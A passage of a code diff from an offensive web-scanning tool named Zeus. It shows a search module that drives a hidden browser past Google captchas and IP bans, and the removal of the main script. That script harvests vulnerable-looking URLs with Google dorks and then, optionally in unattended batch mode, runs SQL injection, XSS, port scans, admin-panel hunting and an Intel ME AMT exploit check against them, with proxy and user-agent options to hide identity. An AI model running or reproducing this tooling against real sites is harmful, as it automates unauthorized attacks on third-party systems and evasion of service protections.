to_extract = data.split(splitter[0])[0]
|
||||
return "http:" + to_extract.split(splitter[1])[3]
|
||||
|
||||
|
||||
def get_urls(query, url, verbose=False, warning=True, user_agent=None, proxy=None, **kwargs):
|
||||
"""
|
||||
Bypass Google captchas and Google API by using selenium-webdriver to gather
|
||||
the Google URL. This will open a robot controlled browser window and attempt
|
||||
to get a URL from Google that will be used for scraping afterwards.
|
||||
"""
|
||||
if verbose:
|
||||
logger.debug(set_color(
|
||||
"setting up the virtual display to hide the browser...", level=10
|
||||
))
|
||||
ff_display = Display(visible=0, size=(800, 600))
|
||||
ff_display.start()
|
||||
logger.info(set_color(
|
||||
"firefox browser display will be hidden while it performs the query..."
|
||||
))
|
||||
if warning:
|
||||
logger.warning(set_color(
|
||||
"your web browser will be automated in order for Zeus to successfully "
|
||||
"bypass captchas and API calls. this is done in order to grab the URL "
|
||||
"from the search and parse the results. please give selenium time to "
|
||||
"finish it's task...", level=30
|
||||
))
|
||||
if verbose:
|
||||
logger.debug(set_color(
|
||||
"running selenium-webdriver and launching browser...", level=10
|
||||
))
|
||||
|
||||
if verbose:
|
||||
logger.debug(set_color(
|
||||
"adjusting selenium-webdriver user-agent to '{}'...".format(user_agent), level=10
|
||||
))
|
||||
if proxy is not None:
|
||||
proxy_type = proxy.keys()
|
||||
proxy_to_use = Proxy({
|
||||
"proxyType": ProxyType.MANUAL,
|
||||
"httpProxy": proxy[proxy_type[0]],
|
||||
"ftpProxy": proxy[proxy_type[0]],
|
||||
"sslProxy": proxy[proxy_type[0]],
|
||||
"noProxy": ""
|
||||
})
|
||||
if verbose:
|
||||
logger.debug(set_color(
|
||||
"setting selenium proxy to '{}'...".format(
|
||||
''.join(proxy_type) + "://" + ''.join(proxy.values())
|
||||
), level=10
|
||||
))
|
||||
else:
|
||||
proxy_to_use = None
|
||||
|
||||
profile = webdriver.FirefoxProfile()
|
||||
profile.set_preference("general.useragent.override", user_agent)
|
||||
browser = webdriver.Firefox(profile, proxy=proxy_to_use)
|
||||
logger.info(set_color("browser will open shortly..."))
|
||||
browser.get(url)
|
||||
if verbose:
|
||||
logger.debug(set_color(
|
||||
"searching search engine for the 'q' element (search button)...", level=10
|
||||
))
|
||||
search = browser.find_element_by_name('q')
|
||||
logger.info(set_color(
|
||||
"searching '{}' using query '{}'...".format(url, query)
|
||||
))
|
||||
search.send_keys(query)
|
||||
search.send_keys(Keys.RETURN) # hit return after you enter search text
|
||||
time.sleep(3)
|
||||
if verbose:
|
||||
logger.debug(set_color(
|
||||
"obtaining URL from selenium..."
|
||||
))
|
||||
retval = browser.current_url
|
||||
ban_url_schema = ["http://ipv6.google.com", "http://ipv4.google.com"]
|
||||
if any(u in retval for u in ban_url_schema): # if you got IP banned
|
||||
logger.warning(set_color(
|
||||
"it appears that Google is attempting to block your IP address, attempting bypass...", level=30
|
||||
))
|
||||
try:
|
||||
retval = bypass_ip_block(retval)
|
||||
except IndexError:
|
||||
browser.close() # stop all the random rogue processes
|
||||
ff_display.stop()
|
||||
logger.warning(set_color(
|
||||
"for now the IP ban bypass will only work for queries that have Google's search syntax "
|
||||
"in them. (IE inurl:, incontext:, incontent:)", level=30
|
||||
))
|
||||
raise NotImplementedError(
|
||||
"bypass for query '{}' is not implemented yet, try again with a different dork, "
|
||||
"or change your IP address...".format(query)
|
||||
)
|
||||
if verbose:
|
||||
logger.debug(set_color(
|
||||
"found current URL from selenium browser...", level=10
|
||||
))
|
||||
logger.info(set_color(
|
||||
"closing the browser and continuing process.."
|
||||
))
|
||||
browser.close()
|
||||
ff_display.stop()
|
||||
return retval
|
||||
|
||||
|
||||
def parse_search_results(
|
||||
query, url_to_search, verbose=False, **kwargs):
|
||||
"""
|
||||
Parse a webpage from Google for URL's with a GET(query) parameter
|
||||
"""
|
||||
exclude = (
|
||||
"www.google.com", "map.google.com", "mail.google.com", "drive.google.com",
|
||||
"news.google.com", "accounts.google.com"
|
||||
)
|
||||
splitter = "&"
|
||||
retval = set()
|
||||
query_url = None
|
||||
|
||||
def __get_headers():
|
||||
proxy_string, user_agent = None, None
|
||||
try:
|
||||
proxy_string = kwargs.get("proxy")
|
||||
except:
|
||||
pass
|
||||
|
||||
try:
|
||||
user_agent = kwargs.get("agent")
|
||||
except:
|
||||
pass
|
||||
|
||||
return proxy_string, user_agent
|
||||
|
||||
if verbose:
|
||||
logger.debug(set_color(
|
||||
"checking for user-agent and proxy configuration...", level=10
|
||||
))
|
||||
proxy_string, user_agent = __get_headers()
|
||||
|
||||
if proxy_string is None:
|
||||
proxy_string = None
|
||||
else:
|
||||
proxy_string = proxy_string_to_dict(proxy_string)
|
||||
if user_agent is None:
|
||||
user_agent = DEFAULT_USER_AGENT
|
||||
else:
|
||||
user_agent = user_agent
|
||||
|
||||
user_agent_info = "adjusting user-agent header to {}..."
|
||||
if user_agent is not DEFAULT_USER_AGENT:
|
||||
user_agent_info = user_agent_info.format(user_agent.strip())
|
||||
else:
|
||||
user_agent_info = user_agent_info.format("default user agent '{}'".format(DEFAULT_USER_AGENT))
|
||||
|
||||
proxy_string_info = "setting proxy to {}..."
|
||||
if proxy_string is not None:
|
||||
proxy_string_info = proxy_string_info.format(
|
||||
''.join(proxy_string.keys()) + "://" + ''.join(proxy_string.values()))
|
||||
else:
|
||||
proxy_string_info = "no proxy configuration detected..."
|
||||
|
||||
headers = {
|
||||
"Connection": "close",
|
||||
"user-agent": user_agent
|
||||
}
|
||||
logger.info(set_color(
|
||||
"attempting to gather query URL..."
|
||||
))
|
||||
try:
|
||||
query_url = get_urls(query, url_to_search, verbose=verbose, user_agent=user_agent, proxy=proxy_string)
|
||||
except Exception as e:
|
||||
if "WebDriverException" in str(e):
|
||||
logger.exception(set_color(
|
||||
"it seems that you exited the browser, please allow the browser "
|
||||
"to complete it's run so that Zeus can bypass captchas and API "
|
||||
"calls", level=50
|
||||
))
|
||||
else:
|
||||
logger.exception(set_color(
|
||||
"{} failed to gather the URL from search engine, caught exception '{}' "
|
||||
"exception has been logged to current log file...".format(
|
||||
os.path.basename(__file__), str(e).strip()), level=50)
|
||||
)
|
||||
shutdown()
|
||||
logger.info(set_color(
|
||||
"URL successfully gathered, searching for GET parameters..."
|
||||
))
|
||||
|
||||
logger.info(set_color(proxy_string_info))
|
||||
req = requests.get(query_url, proxies=proxy_string)
|
||||
logger.info(set_color(user_agent_info))
|
||||
req.headers.update(headers)
|
||||
found_urls = URL_REGEX.findall(req.text)
|
||||
for urls in list(found_urls):
|
||||
for url in list(urls):
|
||||
url = unquote(url)
|
||||
if URL_QUERY_REGEX.match(url) and not any(l in url for l in exclude):
|
||||
if isinstance(url, unicode):
|
||||
url = str(url).encode("utf-8")
|
||||
if "webcache" in url:
|
||||
logger.info(set_color(
|
||||
"received webcache URL, extracting URL from webcache..."
|
||||
))
|
||||
url = extract_webcache_url(url)
|
||||
if verbose:
|
||||
try:
|
||||
logger.debug(set_color(
|
||||
"found '{}'...".format(url.split(splitter)[0]), level=10
|
||||
))
|
||||
except TypeError:
|
||||
logger.debug(set_color(
|
||||
"found '{}'...".format(str(url).split(splitter)[0]), level=10
|
||||
))
|
||||
except AttributeError:
|
||||
logger.debug(set_color(
|
||||
"found '{}...".format(str(url)), level=10
|
||||
))
|
||||
retval.add(url.split("&")[0])
|
||||
logger.info(set_color(
|
||||
"found a total of {} URL's with a GET parameter...".format(len(retval))
|
||||
))
|
||||
if len(retval) != 0:
|
||||
write_to_log_file(retval, URL_LOG_PATH, "url-log-{}.log")
|
||||
else:
|
||||
logger.critical(set_color(
|
||||
"did not find any usable URL's with the given query '{}' "
|
||||
"using search engine '{}'...".format(query, url_to_search), level=50
|
||||
))
|
||||
shutdown()
|
||||
return list(retval) if len(retval) != 0 else None
|
||||
|
||||
|
||||
def search_multiple_pages(query, link_amount, proxy=None, agent=None, verbose=False):
|
||||
|
||||
def __config_proxy(proxy_string):
|
||||
proxy_type_schema = {
|
||||
"http": httplib2.socks.PROXY_TYPE_HTTP,
|
||||
"socks4": httplib2.socks.PROXY_TYPE_SOCKS4,
|
||||
"socks5": httplib2.socks.PROXY_TYPE_SOCKS5
|
||||
}
|
||||
proxy_type = get_proxy_type(proxy_string)[0]
|
||||
proxy_dict = proxy_string_to_dict(proxy_string)
|
||||
proxy_config = httplib2.ProxyInfo(
|
||||
proxy_type=proxy_type_schema[proxy_type],
|
||||
proxy_host="".join(proxy_dict.keys()),
|
||||
proxy_port="".join(proxy_dict.values())
|
||||
)
|
||||
return proxy_config
|
||||
|
||||
if proxy is not None:
|
||||
if verbose:
|
||||
logger.debug(set_color(
|
||||
"configuring to use proxy '{}'...".format(proxy), level=10
|
||||
))
|
||||
__config_proxy(proxy)
|
||||
|
||||
if agent is not None:
|
||||
if verbose:
|
||||
logger.debug(set_color(
|
||||
"settings user-agent to '{}'...".format(agent), level=10
|
||||
))
|
||||
|
||||
logger.warning(set_color(
|
||||
"multiple pages will be searched using Google's API client, searches may be blocked after a certain "
|
||||
"amount of time...", level=30
|
||||
))
|
||||
results, limit, found, index = set(), link_amount, 0, google_api.search(query, user_agent=agent, safe="on")
|
||||
try:
|
||||
while limit > 0:
|
||||
results.add(next(index))
|
||||
limit -= 1
|
||||
found += 1
|
||||
except Exception as e:
|
||||
if "Error 503" in str(e):
|
||||
logger.fatal(set_color(
|
||||
"Google is blocking the current IP address, dumping already found URL's...", level=50
|
||||
))
|
||||
results = results
|
||||
pass
|
||||
|
||||
retval = set()
|
||||
for url in results:
|
||||
if URL_REGEX.match(url) and URL_QUERY_REGEX.match(url):
|
||||
if verbose:
|
||||
logger.debug(set_color(
|
||||
"found '{}'...".format(url), level=10
|
||||
))
|
||||
retval.add(url)
|
||||
|
||||
if len(retval) != 0:
|
||||
logger.info(set_color(
|
||||
"a total of {} links found out of requested {}...".format(
|
||||
len(retval), link_amount
|
||||
)
|
||||
))
|
||||
write_to_log_file(list(retval), URL_LOG_PATH, "url-log-{}.log")
|
||||
else:
|
||||
logger.error(set_color(
|
||||
"unable to extract URL's from results...", level=40
|
||||
))
|
||||
644
zeus.py
644
zeus.py
|
|
@ -1,644 +0,0 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
import os
|
||||
import time
|
||||
import optparse
|
||||
import subprocess
|
||||
import random
|
||||
try:
|
||||
import http.client as http_client # Python 3
|
||||
except ImportError:
|
||||
import httplib as http_client # Python 2
|
||||
|
||||
from var import blackwidow
|
||||
from var.google_search import search
|
||||
from var.auto_issue.github import request_issue_creation
|
||||
from lib.errors import InvalidInputProvided
|
||||
from lib.attacks.admin_panel_finder import main
|
||||
from lib.attacks.xss_scan import main_xss
|
||||
from lib.attacks.nmap_scan.nmap_opts import NMAP_API_OPTS
|
||||
from lib.attacks.sqlmap_scan.sqlmap_opts import SQLMAP_API_OPTIONS
|
||||
|
||||
from lib.attacks import (
|
||||
nmap_scan,
|
||||
sqlmap_scan,
|
||||
intel_me
|
||||
)
|
||||
from lib.settings import (
|
||||
setup,
|
||||
BANNER,
|
||||
start_up,
|
||||
shutdown,
|
||||
logger,
|
||||
set_color,
|
||||
get_latest_log_file,
|
||||
grab_random_agent,
|
||||
CURRENT_LOG_FILE_PATH,
|
||||
AUTHORIZED_SEARCH_ENGINES,
|
||||
URL_LOG_PATH,
|
||||
SPIDER_LOG_PATH,
|
||||
replace_http,
|
||||
prompt,
|
||||
get_random_dork,
|
||||
update_zeus,
|
||||
VERSION_STRING,
|
||||
URL_REGEX, URL_QUERY_REGEX,
|
||||
NMAP_MAN_PAGE_URL,
|
||||
SQLMAP_MAN_PAGE_URL,
|
||||
get_true_url,
|
||||
fix_log_file,
|
||||
DEFAULT_USER_AGENT
|
||||
)
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
parser = optparse.OptionParser(usage="{} -d|l|s|b DORK|FILE|URL [ATTACKS] [S-E] [--OPTS]".format(
|
||||
os.path.basename(__file__)
|
||||
))
|
||||
|
||||
# mandatory options
|
||||
mandatory = optparse.OptionGroup(parser, "Mandatory Options",
|
||||
"These options have to be used in order for Zeus to run")
|
||||
mandatory.add_option("-d", "--dork", dest="dorkToUse", metavar="DORK",
|
||||
help="Specify a singular Google dork to use for queries")
|
||||
mandatory.add_option("-l", "--dork-list", dest="dorkFileToUse", metavar="FILE-PATH",
|
||||
help="Specify a file full of dorks to run through"),
|
||||
mandatory.add_option("-r", "--rand-dork", dest="useRandomDork", action="store_true",
|
||||
help="Use a random dork from the etc/dorks.txt file to perform the scan")
|
||||
mandatory.add_option("-b", "--blackwidow", dest="spiderWebSite", metavar="URL",
|
||||
help="Spider a single webpage for all available URL's")
|
||||
mandatory.add_option("-f", "--url-file", dest="fileToEnumerate", metavar="FILE-PATH",
|
||||
help="Run an attack on URL's in a given file")
|
||||
|
||||
# attack options
|
||||
attacks = optparse.OptionGroup(parser, "Attack arguments",
|
||||
"These arguments will give you the choice on how you want to check the websites")
|
||||
attacks.add_option("-s", "--sqli", dest="runSqliScan", action="store_true",
|
||||
help="Run a Sqlmap SQLi scan on the discovered URL's")
|
||||
attacks.add_option("-p", "--port-scan", dest="runPortScan", action="store_true",
|
||||
help="Run a Nmap port scan on the discovered URL's")
|
||||
attacks.add_option("-i", "--intel-check", dest="intelCheck", action="store_true",
|
||||
help="Check if a URL's host is exploitable via Intel ME AMT (CVE-2017-5689)")
|
||||
attacks.add_option("-a", "--admin-panel", dest="adminPanelFinder", action="store_true",
|
||||
help="Search for the websites admin panel")
|
||||
attacks.add_option("-x", "--xss-scan", dest="runXssScan", action="store_true",
|
||||
help="Run an XSS scan on the found URL's")
|
||||
attacks.add_option("--sqlmap-args", dest="sqlmapArguments", metavar="SQLMAP-ARGS",
|
||||
help="Pass the arguments to send to the sqlmap API within quotes & "
|
||||
"separated by a comma. IE 'dbms mysql, verbose 3, level 5'")
|
||||
attacks.add_option("--nmap-args", dest="nmapArguments", metavar="NMAP-ARGS",
|
||||
help="Pass the arguments to send to the nmap API within quotes & "
|
||||
"separated by a pipe. IE '-O|-p 445, 1080'")
|
||||
attacks.add_option("--auto-start", dest="autoStartSqlmap", action="store_true",
|
||||
help="Attempt to automatically find sqlmap on your system")
|
||||
attacks.add_option("--search-here", dest="givenSearchPath", metavar="PATH-TO-START",
|
||||
help="Start searching for sqlmap in this given path")
|
||||
attacks.add_option("--show-sqlmap", dest="showSqlmapArguments", action="store_true",
|
||||
help="Show the arguments that the sqlmap API understands")
|
||||
attacks.add_option("--show-nmap", dest="showNmapArgs", action="store_true",
|
||||
help="Show the arguments that nmap understands")
|
||||
attacks.add_option("-P", "--show-possibles", dest="showAllConnections", action="store_true",
|
||||
help="Show all connections made during the admin panel search")
|
||||
attacks.add_option("--tamper", dest="tamperXssPayloads", metavar="TAMPER-SCRIPT",
|
||||
help="Send the XSS payloads through tampering before sending to the target")
|
||||
|
||||
# search engine options
|
||||
engines = optparse.OptionGroup(parser, "Search engine arguments",
|
||||
"Arguments to change the search engine used (default is Google)")
|
||||
engines.add_option("-D", "--search-engine-ddg", dest="useDDG", action="store_true",
|
||||
help="Use DuckDuckGo as the search engine")
|
||||
engines.add_option("-B", "--search-engine-bing", dest="useBing", action="store_true",
|
||||
help="Use Bing as the search engine")
|
||||
engines.add_option("-A", "--search-engine-aol", dest="useAOL", action="store_true",
|
||||
help="Use AOL as the search engine")
|
||||
|
||||
search_items = optparse.OptionGroup(parser, "Search options",
|
||||
"Arguments that will control the search criteria")
|
||||
search_items.add_option("-L", "--links", dest="amountToSearch", type=int, metavar="HOW-MANY-LINKS",
|
||||
help="Specify how many links to try and search on Google")
|
||||
search_items.add_option("-M", "--multi", dest="searchMultiplePages", action="store_true",
|
||||
help="Search multiple pages of Google")
|
||||
|
||||
# obfuscation options
|
||||
anon = optparse.OptionGroup(parser, "Anonymity arguments",
|
||||
"Arguments that help with anonymity and hiding identity")
|
||||
anon.add_option("--proxy", dest="proxyConfig", metavar="PROXY-STRING",
|
||||
help="Use a proxy to do the scraping, will not auto configure to the API's")
|
||||
anon.add_option("--proxy-file", dest="proxyFileRand", metavar="FILE-PATH",
|
||||
help="Grab a random proxy from a given file of proxies")
|
||||
anon.add_option("--random-agent", dest="useRandomAgent", action="store_true",
|
||||
help="Use a random user-agent from the etc/agents.txt file")
|
||||
anon.add_option("--agent", dest="usePersonalAgent", metavar="USER-AGENT",
|
||||
help="Use your own personal user-agent")
|
||||
|
||||
# miscellaneous options
|
||||
misc = optparse.OptionGroup(parser, "Misc Options",
|
||||
"These options affect how the program will run")
|
||||
misc.add_option("--verbose", dest="runInVerbose", action="store_true",
|
||||
help="Run the application in verbose mode (more output)")
|
||||
misc.add_option("--show-requests", dest="showRequestInfo", action="store_true",
|
||||
help="Show all HTTP requests made by the application")
|
||||
misc.add_option("--batch", dest="runInBatch", action="store_true",
|
||||
help="Skip the questions and run in default batch mode")
|
||||
misc.add_option("--update", dest="updateZeus", action="store_true",
|
||||
help="Update to the latest development version")
|
||||
misc.add_option("--hide", dest="hideBanner", action="store_true",
|
||||
help="Hide the banner during running")
|
||||
misc.add_option("--version", dest="showCurrentVersion", action="store_true",
|
||||
help="Show the current version and exit")
|
||||
|
||||
parser.add_option_group(mandatory)
|
||||
parser.add_option_group(attacks)
|
||||
parser.add_option_group(search_items)
|
||||
parser.add_option_group(anon)
|
||||
parser.add_option_group(engines)
|
||||
parser.add_option_group(misc)
|
||||
|
||||
opt, _ = parser.parse_args()
|
||||
|
||||
if opt.showCurrentVersion:
|
||||
print(VERSION_STRING)
|
||||
exit(0)
|
||||
|
||||
# run the setup on the program
|
||||
setup(verbose=opt.runInVerbose)
|
||||
|
||||
if not opt.hideBanner:
|
||||
print(BANNER)
|
||||
|
||||
start_up()
|
||||
|
||||
if opt.showSqlmapArguments:
|
||||
logger.info(set_color(
|
||||
"there are a total of {} arguments understood by sqlmap API, "
|
||||
"they include:".format(len(SQLMAP_API_OPTIONS))
|
||||
))
|
||||
print("\n")
|
||||
for arg in SQLMAP_API_OPTIONS:
|
||||
print(
|
||||
"[*] {}".format(arg)
|
||||
)
|
||||
print("\n")
|
||||
logger.info(set_color(
|
||||
"for more information about sqlmap arguments, see here '{}'...".format(
|
||||
SQLMAP_MAN_PAGE_URL
|
||||
)
|
||||
))
|
||||
shutdown()
|
||||
|
||||
if opt.showNmapArgs:
|
||||
logger.info(set_color(
|
||||
"there are a total of {} arguments understood by nmap, they include:".format(
|
||||
len(NMAP_API_OPTS)
|
||||
)
|
||||
))
|
||||
print("\n")
|
||||
for arg in NMAP_API_OPTS:
|
||||
print(
|
||||
"[*] {}".format(arg)
|
||||
)
|
||||
print("\n")
|
||||
logger.info(set_color(
|
||||
"for more information on what the arguments do please see here '{}'...".format(
|
||||
NMAP_MAN_PAGE_URL
|
||||
)
|
||||
))
|
||||
shutdown()
|
||||
|
||||
# update the program
|
||||
if opt.updateZeus:
|
||||
logger.info(set_color(
|
||||
"update in progress..."
|
||||
))
|
||||
update_zeus()
|
||||
shutdown()
|
||||
|
||||
|
||||
def __find_running_opts():
|
||||
"""
|
||||
display the running options if verbose is used
|
||||
"""
|
||||
opts_being_used = []
|
||||
for o, v in opt.__dict__.items():
|
||||
if v is not None:
|
||||
opts_being_used.append((o, v))
|
||||
return dict(opts_being_used)
|
||||
|
||||
|
||||
if opt.runInVerbose:
|
||||
being_run = __find_running_opts()
|
||||
logger.debug(set_color(
|
||||
"running with options '{}'...".format(being_run), level=10
|
||||
))
|
||||
|
||||
logger.info(set_color(
|
||||
"log file being saved to '{}'...".format(get_latest_log_file(CURRENT_LOG_FILE_PATH))
|
||||
))
|
||||
|
||||
if opt.showRequestInfo:
|
||||
logger.debug(set_color(
|
||||
"showing all HTTP requests because --show-requests flag was used...", level=10
|
||||
))
|
||||
http_client.HTTPConnection.debuglevel = 1
|
||||
|
||||
def __choose_attack(choice, attacks):
|
||||
while True:
|
||||
if int(choice) in range(len(attacks)):
|
||||
return int(choice)
|
||||
else:
|
||||
logger.warning(set_color(
|
||||
"{} is not a valid choice...".format(choice)
|
||||
))
|
||||
|
||||
|
||||
def __config_headers():
|
||||
"""
|
||||
configure the request headers, this will configure user agents and proxies
|
||||
"""
|
||||
if opt.proxyConfig is not None:
|
||||
proxy = opt.proxyConfig
|
||||
elif opt.proxyFileRand is not None:
|
||||
if opt.runInVerbose:
|
||||
logger.debug(set_color(
|
||||
"loading random proxy from '{}'...".format(opt.proxyFileRand), level=10
|
||||
))
|
||||
with open(opt.proxyFileRand) as proxies:
|
||||
possible = proxies.readlines()
|
||||
proxy = random.choice(possible).strip()
|
||||
else:
|
||||
proxy = None
|
||||
if opt.usePersonalAgent is not None:
|
||||
agent = opt.usePersonalAgent
|
||||
elif opt.useRandomAgent:
|
||||
agent = grab_random_agent(verbose=opt.runInVerbose)
|
||||
else:
|
||||
agent = DEFAULT_USER_AGENT
|
||||
return proxy, agent
|
||||
|
||||
|
||||
def __config_search_engine(verbose=False):
|
||||
"""
|
||||
configure the search engine if a one different from google is given
|
||||
"""
|
||||
non_default_msg = "specified to use non-default search engine..."
|
||||
if opt.useDDG:
|
||||
if verbose:
|
||||
logger.debug(set_color(
|
||||
"using DuckDuckGo as the search engine...", level=10
|
||||
))
|
||||
logger.info(set_color(
|
||||
non_default_msg
|
||||
))
|
||||
se = AUTHORIZED_SEARCH_ENGINES["duckduckgo"]
|
||||
elif opt.useAOL:
|
||||
if verbose:
|
||||
logger.debug(set_color(
|
||||
"using AOL as the search engine...", level=10
|
||||
))
|
||||
logger.info(set_color(
|
||||
non_default_msg
|
||||
))
|
||||
se = AUTHORIZED_SEARCH_ENGINES["aol"]
|
||||
else:
|
||||
if verbose:
|
||||
logger.debug(set_color(
|
||||
"using default search engine (Google)...", level=10
|
||||
))
|
||||
logger.info(set_color(
|
||||
"using default search engine..."
|
||||
)) if opt.fileToEnumerate is None else ""
|
||||
se = AUTHORIZED_SEARCH_ENGINES["google"]
|
||||
return se
|
||||
|
||||
|
||||
def __create_arguments(sqlmap=False, nmap=False):
|
||||
"""
|
||||
create the sqlmap arguments (a list of tuples) that will be passed to the API
|
||||
"""
|
||||
logger.info(set_color(
|
||||
"creating arguments for {}...".format("sqlmap" if sqlmap else "nmap")
|
||||
))
|
||||
retval = []
|
||||
splitter = {"sqlmap": ",", "nmap": "|"}
|
||||
if sqlmap:
|
||||
if opt.sqlmapArguments is not None:
|
||||
for line in opt.sqlmapArguments.split(splitter["sqlmap"]):
|
||||
to_use = line.strip().split(" ")
|
||||
option = (to_use[0], to_use[1])
|
||||
if to_use[0] in SQLMAP_API_OPTIONS:
|
||||
retval.append(option)
|
||||
else:
|
||||
logger.warning(set_color(
|
||||
"option '{}' is not recognized by sqlmap API, skipping...".format(option[0]),
|
||||
level=30
|
||||
))
|
||||
elif nmap:
|
||||
warning_msg = "option {} is not known by the nmap api, skipping..."
|
||||
if opt.nmapArguments is not None:
|
||||
for line in opt.nmapArguments.split(splitter["nmap"]):
|
||||
try:
|
||||
data = line.index(" ")
|
||||
except:
|
||||
data = None
|
||||
pass
|
||||
if data is not None:
|
||||
argument = line[0:data]
|
||||
if argument in NMAP_API_OPTS:
|
||||
retval.append(line)
|
||||
else:
|
||||
logger.warning(set_color(
|
||||
warning_msg.format(argument), level=30
|
||||
))
|
||||
else:
|
||||
if line in NMAP_API_OPTS:
|
||||
retval.append(line)
|
||||
else:
|
||||
logger.warning(set_color(
|
||||
warning_msg.format(line), level=30
|
||||
))
|
||||
return retval
|
||||
|
||||
|
||||
def __run_attacks(
|
||||
url, sqlmap=False, nmap=False, intel=False, xss=False,
|
||||
verbose=False, admin=False, given_path=None, auto=False, batch=False
|
||||
):
|
||||
"""
|
||||
run the attacks if any are requested
|
||||
"""
|
||||
if not batch:
|
||||
question = prompt(
|
||||
"would you like to process found URL: '{}'".format(url), opts=["y", "N"]
|
||||
)
|
||||
else:
|
||||
question = "y"
|
||||
|
||||
if question.lower().startswith("y"):
|
||||
if sqlmap:
|
||||
return sqlmap_scan.sqlmap_scan_main(url.strip(), verbose=verbose, opts=__create_arguments(sqlmap=True),
|
||||
auto_search=auto, given_path=given_path)
|
||||
elif nmap:
|
||||
url_ip_address = replace_http(url.strip())
|
||||
return nmap_scan.perform_port_scan(url_ip_address, verbose=verbose, opts=__create_arguments(nmap=True))
|
||||
elif intel:
|
||||
url = get_true_url(url)
|
||||
return intel_me.main_intel_amt(url, agent=agent_to_use, proxy=proxy_to_use)
|
||||
elif admin:
|
||||
main(url, show=opt.showAllConnections, verbose=verbose)
|
||||
elif xss:
|
||||
main_xss(url, verbose=verbose, proxy=proxy_to_use, agent=agent_to_use, tamper=opt.tamperXssPayloads)
|
||||
else:
|
||||
pass
|
||||
else:
|
||||
logger.warning(set_color(
|
||||
"skipping '{}'...".format(url), level=30
|
||||
))
|
||||
|
||||
|
||||
proxy_to_use, agent_to_use = __config_headers()
|
||||
search_engine = __config_search_engine(verbose=opt.runInVerbose)
|
||||
|
||||
try:
|
||||
# use a personal dork as the query
|
||||
if opt.dorkToUse is not None and not opt.searchMultiplePages:
|
||||
logger.info(set_color(
|
||||
"starting dork scan with query '{}'...".format(opt.dorkToUse)
|
||||
))
|
||||
try:
|
||||
search.parse_search_results(
|
||||
opt.dorkToUse, search_engine, verbose=opt.runInVerbose, proxy=proxy_to_use,
|
||||
agent=agent_to_use
|
||||
)
|
||||
except Exception as e:
|
||||
logger.exception(set_color(
|
||||
"ran into exception '{}'...".format(e), level=50
|
||||
))
|
||||
issue = prompt(
|
||||
"would you like to create an anonymous issue on Zeus's Github page", opts="yN"
|
||||
)
|
||||
if issue.lower().startswith("y"):
|
||||
fix_log_file()
|
||||
request_issue_creation()
|
||||
pass
|
||||
|
||||
urls_to_use = get_latest_log_file(URL_LOG_PATH)
|
||||
if opt.runSqliScan or opt.runPortScan or opt.intelCheck or opt.adminPanelFinder or opt.runXssScan:
|
||||
with open(urls_to_use) as urls:
|
||||
for url in urls.readlines():
|
||||
__run_attacks(
|
||||
url.strip(),
|
||||
sqlmap=opt.runSqliScan, nmap=opt.runPortScan, intel=opt.intelCheck, xss=opt.runXssScan,
|
||||
admin=opt.adminPanelFinder, given_path=opt.givenSearchPath,
|
||||
auto=opt.autoStartSqlmap, verbose=opt.runInVerbose, batch=opt.runInBatch
|
||||
)
|
||||
|
||||
# search multiple pages of Google
|
||||
elif opt.dorkToUse is not None and opt.searchMultiplePages:
|
||||
if opt.amountToSearch is None:
|
||||
logger.fatal(set_color(
|
||||
"did not specify amount of links to find...", level=50
|
||||
))
|
||||
shutdown()
|
||||
link_amount_to_search = opt.amountToSearch
|
||||
logger.info(set_color(
|
||||
"searching Google using dork '{}' for a total of {} links...".format(opt.dorkToUse, opt.amountToSearch)
|
||||
))
|
||||
try:
|
||||
search.search_multiple_pages(opt.dorkToUse, link_amount_to_search, proxy=proxy_to_use,
|
||||
agent=agent_to_use, verbose=opt.runInVerbose)
|
||||
except Exception as e:
|
||||
if "Error 400" in str(e):
|
||||
logger.fatal(set_color(
|
||||
"failed to connect to search engine...".format(e), level=50
|
||||
))
|
||||
elif "Error 503" in str(e):
|
||||
logger.fatal(set_color(
|
||||
"Google has blocked your IP address from doing anymore searches via API, "
|
||||
"you can still search using headless browsers (-d <DORK>)...", level=50
|
||||
))
|
||||
else:
|
||||
logger.exception(set_color(
|
||||
"failed with unexpected error '{}'...".format(e), level=50
|
||||
))
|
||||
shutdown()
|
||||
|
||||
urls_to_use = get_latest_log_file(URL_LOG_PATH)
|
||||
if opt.runSqliScan or opt.runPortScan or opt.intelCheck or opt.adminPanelFinder or opt.runXssScan:
|
||||
with open(urls_to_use) as urls:
|
||||
for url in urls.readlines():
|
||||
__run_attacks(
|
||||
url.strip(),
|
||||
sqlmap=opt.runSqliScan, nmap=opt.runPortScan, intel=opt.intelCheck, xss=opt.runXssScan,
|
||||
admin=opt.adminPanelFinder, given_path=opt.givenSearchPath,
|
||||
auto=opt.autoStartSqlmap, verbose=opt.runInVerbose, batch=opt.runInBatch
|
||||
)
|
||||
|
||||
# use a file full of dorks as the queries
|
||||
elif opt.dorkFileToUse is not None:
|
||||
with open(opt.dorkFileToUse) as dorks:
|
||||
for dork in dorks.readlines():
|
||||
dork = dork.strip()
|
||||
logger.info(set_color(
|
||||
"starting dork scan with query '{}'...".format(dork)
|
||||
))
|
||||
try:
|
||||
search.parse_search_results(
|
||||
dork, search_engine, verbose=opt.runInVerbose, proxy=proxy_to_use,
|
||||
agent=agent_to_use
|
||||
)
|
||||
except Exception as e:
|
||||
logger.exception(set_color(
|
||||
"ran into exception '{}'...".format(e), level=50
|
||||
))
|
||||
issue = prompt(
|
||||
"would you like to create an anonymous issue on Zeus's Github page", opts="yN"
|
||||
)
|
||||
if issue.lower().startswith("y"):
|
||||
fix_log_file()
|
||||
request_issue_creation()
|
||||
pass
|
||||
|
||||
urls_to_use = get_latest_log_file(URL_LOG_PATH)
|
||||
if opt.runSqliScan or opt.runPortScan or opt.intelCheck or opt.adminPanelFinder or opt.runXssScan:
|
||||
with open(urls_to_use) as urls:
|
||||
for url in urls.readlines():
|
||||
__run_attacks(
|
||||
url.strip(),
|
||||
sqlmap=opt.runSqliScan, nmap=opt.runPortScan, intel=opt.intelCheck, xss=opt.runXssScan,
|
||||
admin=opt.adminPanelFinder, given_path=opt.givenSearchPath,
|
||||
auto=opt.autoStartSqlmap, verbose=opt.runInVerbose, batch=opt.runInBatch
|
||||
)
|
||||
|
||||
# use a random dork as the query
|
||||
elif opt.useRandomDork:
|
||||
random_dork = get_random_dork().strip()
|
||||
if opt.runInVerbose:
|
||||
logger.debug(set_color(
|
||||
"choosing random dork from etc/dorks.txt...", level=10
|
||||
))
|
||||
logger.info(set_color(
|
||||
"using random dork '{}' as the search query...".format(random_dork)
|
||||
))
|
||||
